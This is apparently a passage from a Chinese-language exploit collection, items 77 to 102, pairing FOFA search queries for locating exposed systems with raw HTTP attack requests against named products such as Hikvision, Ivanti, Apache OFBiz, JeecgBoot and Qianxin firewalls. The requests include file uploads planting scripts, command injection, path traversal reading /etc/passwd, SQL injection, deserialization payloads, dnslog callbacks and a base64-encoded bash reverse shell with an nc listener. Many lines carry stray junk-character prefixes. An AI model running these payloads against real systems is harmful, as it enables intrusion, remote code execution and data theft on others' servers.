, a8 X0 A+ T4 t' I- k3 v, p: o3 dContent-Length: 211
( x1 R  d' _) l0 M. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
$ O) S% {: j  r+ b, q6 D0 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
, ~/ o) m' M/ i, ~& dUpgrade-Insecure-Requests: 1

8 |% g9 f5 s; ?! D; m( E0 Y{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
2 J: z8 k+ I" ?4 l3 C  e1 t  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
* ^# m# _% y, x" b}
0 S4 z( X! ]/ Y- H: _
+ e7 S, ]7 Q: W& X; N9 E
5 n' R+ l1 X. q. m' KGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
9 o, v: R1 `8 s. S& GHost: x.x.x.x
8 X( C; ^& _2 @1 _  [' y9 [
. z6 x2 E5 t# E; S0 \$ @
9 \/ e! h* M3 c1 D8 F( d
& q3 S6 e7 _: b- b! Q" z  ~77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
5 T: j% b3 K5 O/ I; v" wPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
) v6 P6 s' C! M& L1 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
' s' o. |" _) ]4 R6 Q2 v3 I. P! v" uAccept: */*
! G- P  {. A) ^7 R! [. KAccept-Encoding: gzip, deflate
( c& o) P- _* M: mAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
* J( d4 y3 B: m% i
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
2 [7 K3 S0 U& t
/upload/udplog
6 I0 h1 }. d0 q9 Y------------398jnjVTTlDVXHlE7yYnfwBoix
0 M/ M: H8 @& B9 X8 R1 x5 n/ w, FContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
- h  ]* g7 m& ^& k------------398jnjVTTlDVXHlE7yYnfwBoix
3 g: P* a6 f5 {  c2 T, `. o  JContent-Disposition: form-data; name="Upload"
  ^7 V: E! H. H$ v$ l( w
3 U7 ]  {% R; z+ e/ M( YSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


( d0 n% r$ Z& j; B78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
$ y9 F# g& ?) F& ?% _0 `2 _Host: x.x.x.x
3 l7 p7 R" f6 ?, V, l/ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ O9 Z9 P" Q7 s( iConnection: close
Content-Length: 336
Accept-Encoding: gzip
% D3 e6 _) T" F$ L9 ]$ AContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
2 D  d3 E3 ?( ]
------YsOxWxSvj1KyZow1PTsh98fdu6l
2 |& G. L0 I# ^5 nContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
6 s! l1 h* s1 {( `1 P/ K# ^Content-Type: image/png
. T% B' g! \2 |" O
+ \( L5 W" ]0 Z/ _  L# S) J6 q- @YsOxWxSvj1KyZow1PTsh98fdu6l
) L2 M; L0 r. D8 |------YsOxWxSvj1KyZow1PTsh98fdu6l
$ q* |! v' e+ h; c- tContent-Disposition: form-data; name="target"
& I0 H, b6 o' o& U1 \+ |0 N
/Applications/SkillDevelopAndEHS/
5 _; ^* J* r1 ]: j1 {5 y------YsOxWxSvj1KyZow1PTsh98fdu6l--
1 `$ d  t* q, a' n

% n, r) d% J- [" j8 t5 SGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
* t3 j# R# X- D  r" i

79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
& L7 r, p) H- x; C( fGET /goform/webRead/open/?path=|id HTTP/1.1
4 b: A4 o4 Q2 p9 AHost:IP
/ h4 v) k5 C; o$ E  w' L' @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) T5 ^. _; K* m* U4 oAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1


80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
1 K  Z0 V, |9 W' e& ~! a( B1 R$ gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 ^3 n/ [5 t/ X8 T. D" FContent-Length: 27
( F( U1 H5 i6 t+ R  x3 s4 v$ OAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. i' ?% q7 o' Z, q) j# L# ]Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ [( s4 t/ t3 Q) XConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
% i' j1 k4 H$ U6 s# g" w/ U7 }
<% out.print("oessqeonylzaf");%>
$ F2 e! u  U, ~0 v" {0 B+ ?

GET /xykqmfxpoas.jsp HTTP/1.1
5 ]* ~2 L' C- w+ K$ j3 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! O* ^/ M# |; ^) ?* B9 \, rConnection: close
Accept-Encoding: gzip


( O5 x- q. ?6 N' _81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
1 K4 C' s5 |8 I2 t! mHost: x.x.x.x
; Q7 ^* E! A: F! o2 [) s- IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

8 X9 [& H9 E- J2 T& E
# F: \2 Q! C+ R/ l  X. m' q82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
3 J, @5 G4 L- JFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
# d- P1 d5 r0 F8 @. wHost: BaseURL
User-Agent: Go-http-client/1.1
  d1 b6 s4 _7 G0 }* T  k4 s6 }8 n4 t/ k" DContent-Length: 23
Accept-Encoding: gzip
9 d5 q* B* Z/ p: z6 ^Connection: close
* q9 z" R! d2 ~# ]0 cContent-Type: application/x-www-form-urlencoded
Referer: BaseURL
8 y$ Z0 w* w6 D- c* _
z1=1&z2="|id;"&z3=bhost
# ~# O" }$ t" K, @+ e

) Y, ^) U  n% R( n2 ^83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
4 \1 J* s  I: {9 \, z
; L/ I. k! M! ?% q# v4 L; n
  y! n3 J1 ?3 W" ~" k( p+ x2 g% w9 ~POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
3 |; a( C( h$ T& H" L- fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
+ e( L' \: M1 k) tCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
2 g  J8 m- O: E( RContent-Type: application/json
  B4 R0 ^: u: S% c: @
1 `2 Q3 {1 ^* M9 B* i/ Z  [/ n+ j4 gPAYLOAD
: n' i( S1 i2 g) U  j
/ z( ^: u- d7 Z. r84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
+ m1 f* n0 p) w! P+ a


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
1 \# S1 q& E: y3 ?Content-Type: application/json
9 j( Z! q/ J1 s" j# a) z% FAccept-Encoding: gzip

% P( E3 l, A" C( n  t{
" E4 y! B; ?  T1 T) k' L) K" k "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}

/ X$ F# H5 i; S1 L3 b  d( D0 m
2 P+ K1 d  f4 c$ m% O* V' r3 W; {85. SysAid On-premise< 23.3.36远程代码执行
8 E6 D' U+ |" m* @" XCVE-2023-47246
) h. b& r# {" j+ XFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
: Q- P8 `, g. l& f  }8 @POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
  |$ o! Y8 g' R9 q. xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
% }' @# ^5 y3 {5 d6 d8 XContent-Type: application/octet-stream
5 R' N+ Q  {# ]/ r* N& dAccept-Encoding: gzip
4 C( O# d$ d- m: o( T2 n' \
. J% x/ J) H: hPAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
8 p. N8 K. _( i9 ^FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
: A; K9 m6 l4 x# |3 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
. U  ]+ `/ B4 `# _4 `Connection: close
Content-Length: 44
Accept: */*
7 W: `3 I2 G2 RAccept-Encoding: gzip
+ \8 u+ s: F2 P6 e( WAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
' k3 Q  ]/ m3 C% t, |5 N

% ~6 a" v8 c4 ]# I5 ~' @9 }* z87. 安恒明御安全网关aaa_local_web_preview文件上传
, e: b  A8 [7 J+ LFOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
. K! F2 J! S6 z. S7 o6 V: A! UContent-Length: 198
Accept-Encoding: gzip
3 T3 n5 c. e2 ^/ [4 t. F" PContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
0 X- G( N; z; k) v* b. o
--qqobiandqgawlxodfiisporjwravxtvd
" _, Z+ x1 ?( n# r" Y( O+ ~Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
" l- G' n2 [! ?3 x2 J
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
6 {0 \- X+ p! @. `+ r

. R' Q& G8 H7 ^& A/ G+ w0 _/jfhatuwe.php

88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
+ x) A( j+ g# nGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
4 L* s6 v- m5 [! E* Z" fHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- l4 l2 d8 H+ ^7 \, fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 |" Y* E: a- W) e" m2 U4 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; j+ @0 }5 }9 GConnection: close
1 [; p8 k7 f' q) n) r

1 b2 k% T% L1 u9 S" z+ e/astdfkhl.php

) |# [0 i# Y) R. ]89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
* S+ i& j# l, Q' y* I, N( yAccept-Encoding: gzip

& o( e' t: u0 s. B4 J% G( hoption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
4 {1 n( |" ^! N2 |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
: j5 G6 r3 B7 x" g( V4 L  G: oContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
4 N/ w6 n1 v4 V6 C4 VX-Requested-With: XMLHttpRequest

- p( L2 `  c  P* }jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
! E! a9 _0 v" V- c2 T' @* }& Y
% O+ |' V+ A1 S6 D+ [/ d7 Z6 g
; b# M# Y, P; {, I' z; ^) q91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
2 [) [" J  z! O" B" [FOFA：title="综合安防管理平台"
" @" k/ c  w! A& u" I$ b7 BGET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
% M6 K& B  ]& z7 p7 @6 h3 T9 IHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
8 D& a3 d# ]/ p- ]  @: O3 }Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ t" c) L2 O' m4 [
: M! c& ]9 I" p

. D$ T% U) M- f% Z3 @92. 海康威视运行管理中心session命令执行
* ]5 y7 t/ x  M0 m5 eFastjson命令执行
: G) `0 t* M9 g" f9 H/ m: xhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
2 }  ~0 o: g) Z. {Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
' u4 q. w3 D2 vContent-Type: application/json;charset=UTF-8
, T( n: |3 i# aX-Language-Type: zh_CN
Testcmd: echo test
; T+ }4 E9 n+ X, A* F' B& R  @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
, V6 \2 @) t& G0 M( F% MAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD
9 _' e5 V) j9 T2 r2 `8 K, ~; E/ }
' Z# ^# K6 |7 M2 o  e# N
+ z" Q# ]: E, q7 b7 B* Y93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
$ u- T2 c  g% l9 f$ R  dPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 D& D* _8 l( _6 K2 y/ N
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
$ z  T: f- |3 `. R7 @: C
6 w: ?' y! Q+ t: M) u9 H10000000
2 [6 y6 ~& R. \6 A------WebKitFormBoundarykcbkgdfx
! i/ s4 ]: `9 _' sContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
% p  d6 l) t! s$ PContent-Type: text/plain
* M: \" {. b4 |) W! r0 ?
wagletqrkwrddkthtulxsqrphulnknxa
" P9 c  N& g8 z# J7 T------WebKitFormBoundarykcbkgdfx
3 Y! Q6 g3 B2 I+ c; fContent-Disposition: form-data; name="submit_post"

obj_app_upfile
- ^( E. g1 Y2 x+ }& h$ X------WebKitFormBoundarykcbkgdfx
9 |! J8 Y' z3 i9 |% X& S8 MContent-Disposition: form-data; name="__hash__"

" ^0 X5 ]4 X. j( `. ?* j: a5 z% n  H% C0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--

( l. z7 ^* L: J' a" A$ y; S
, ~; c* ~: N8 M) I/ O' }4 c4 XGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
$ v1 b; x# k  h! I4 Z4 ]4 ^% k: c2 }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

* q( N  u1 A8 b% y: b
9 C( P4 x& B' u; H3 [9 J( v& C94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
+ F8 o" C' l$ h# o6 D# R& HFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
/ N3 h. S) C$ a! V" r: Q+ APOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
$ m" \, M8 A- A9 r* ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
$ @0 ?7 A6 U8 Q+ h0 Z" kContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
& g# d. B! ^8 U$ L, b; lContent-Type: text/plain
: X) c) b8 R$ B% s6 C: [  p
pxplitttsrjnyoafavcajwkvhxindhmu
4 x8 ?5 L9 x( u* L# u$ y------WebKitFormBoundarybqvzqvmt
/ r, ]2 a& r% Z4 }Content-Disposition: form-data; name="submit_post"

7 N7 b9 h( M; {% q, {# n7 V& `# Jobj_app_upfile
5 a- E2 |$ N6 r2 o" r' B------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
* U' i$ J5 \2 O& i6 @) P/ |2 P
0b9d6b1ab7479ab69d9f71b05e0e9445
0 R) R7 T# T. F3 i; h& o6 _------WebKitFormBoundarybqvzqvmt--
1 t; y! @! o/ K. d% b! y7 G
' C. M& Y2 E3 n& _5 u

- ^/ w# ?% R4 c* S1 y) Q+ e. Z+ sGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
& |% {! H, h5 a. H( XUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


& n, I8 ]; K3 d' x1 T1 c
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
9 w' b) d: s5 l5 g+ z4 {CVE-2023-49070
FOFA：app="Apache_OFBiz"
5 o5 ?- y+ J0 _0 j$ n1 z: XPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
4 V) P7 {0 {& gConnection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
! E$ t+ r( u' S3 W" L! N- A+ ~
<?xml version="1.0"?>
% m% P# [& z5 `<methodCall>
, P& {  p) q) o# p6 C2 ^) o   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
7 E7 U# e8 f2 _8 \* n, Z- c    <params>
- l* Z, o5 H) K/ i+ U      <param>
; @( v/ x# M( T; K      <value>
        <struct>
       <member>
. A6 @1 b; r& U& o, y8 c          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
$ Q9 c8 W3 X( c7 P, }" n5 O- I          </value>
        </member>
      </struct>
3 v5 o. `; a2 |# Q      </value>
    </param>
    </params>
0 t2 b8 s' F, D, L</methodCall>


用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
( L! D1 p% ?7 c: f  I1 [
. P: \8 m5 X+ u
7 T" M/ T. Y% P, e: E  o2 X' r将生成的payload替换到上面的POC
& X* v0 Z; D3 W7 d5 A: j' bPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
" }5 E+ y+ v! Q/ iHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
$ i, V$ b+ I; g& P
PAYLOAD
- e3 K+ s" N1 `! f
, G& q- V  V* }. Q! p. J/ M6 m96. Apache OFBiz  18.12.11 groovy 远程代码执行
9 b, d6 c# W# n3 D) c5 z4 h! sFOFA：app="Apache_OFBiz"
4 y0 i9 M$ ~6 K/ ~POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
5 a/ [4 {+ ~, j$ Q' Z; _0 o6 {Content-Length: 55
+ H" W4 Y0 u& C% x! C) U7 ]* D4 f& t
/ a( d* r/ P8 P! R* D/ W9 AgroovyProgram=throw+new+Exception('id'.execute().text);


反弹shell
在kali上启动一个监听
nc -lvp 7777
% f# l; }/ Y$ y7 i% k, ?. P
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
- `3 O9 C# L% y2 C1 P2 _( Q  KHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 r2 o2 Y% u( W% gContent-Type: application/x-www-form-urlencoded
Content-Length: 71
& \; J2 [2 @5 W1 Z& V
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
9 l; T( @  C3 Z+ ^+ LFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
' l7 ~0 d3 q  z6 Z. h# L, O4 oHost: 192.168.40.130:8085
1 n+ ?/ G$ K7 L- Y; F% O& e# P8 PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  w9 t8 f' e3 K/ r1 `9 I3 E. |# s& vAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
5 k. N, ]- b' F9 `0 N' }- uX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
3 {+ t* K: M# ^% a; [2 s4 x" ]POST /function/save HTTP/1.1
( O1 c- T$ Z1 S& q: qHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
) E3 l8 n, b1 wConnection: close
Content-Length: 121
9 P6 @1 e: P) G  }! ?Accept: */*
  H4 `" _1 w2 {4 `5 R6 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& [, c7 y: n' T& S7 w. nContent-Type: application/x-www-form-urlencoded; charset=UTF-8
  u4 [/ g* U6 E8 s# RX-Requested-With: XMLHttpRequest
5 U7 X) H% w9 @0 v4 N
: q6 w' G* }+ w( ?$ ]; [1 R3 mid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
; S: e3 h( Q4 R9 _

- C" }0 C1 T. C& H  a8 C7 }99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
' }, W, Q0 S/ W% XFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
$ F4 l3 w% C. a' t  L' gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
! x, O8 U! U7 E. ~Content-Length: 154
. H. [- u4 i( j/ U0 xAccept: */*
# g& B4 B" E( c9 N8 o1 EAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 S8 Z( [  u- p6 zContent-Type: application/x-www-form-urlencoded; charset=UTF-8
; C' n2 V. m" {1 H0 ?! U! hX-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


: b1 ]+ R( x; e% J/ l' K  W0 a9 n1 j100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
. ~5 d$ v# G; aPOST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
0 t. M4 E5 ^0 RUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
$ L; R5 X+ ~% F) N  wContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
( v, P3 {. \' }. WContent-Disposition: form-data; name="file";filename="IE4MGP.php"
& N* O$ B( {3 }Content-Type: application/x-php
5 T; i3 ^! Y+ A$ ]6 w. q
3 G" f+ l# b; t" \6 k! W" U1 i2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
9 d. T# x3 J% b8 I& X
" v7 t" i( u2 T9 ~: [$ `" s1 T
& P5 K" X. f1 O101. ivanti policy secure-22.6命令注入
" c$ X+ c+ R2 TCVE-2024-21887
/ c+ }7 E6 ~9 H/ IFOFA：body="welcome.cgi?p=logo"
1 L4 {7 Z4 L6 d" ~3 {' F0 fGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
7 W7 q3 p1 D) m. SHost: x.x.x.xx.x.x.x
. V$ n$ h2 |* d  N% v5 {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  ^' Y  Z/ t" j/ Y% c' YConnection: close
$ x+ D# o. `$ L5 C" w% {Accept-Encoding: gzip
1 }7 e3 v$ n- l! [9 W9 f0 Z

102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
( {  c+ ?8 k7 F  E6 L( J5 ~CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
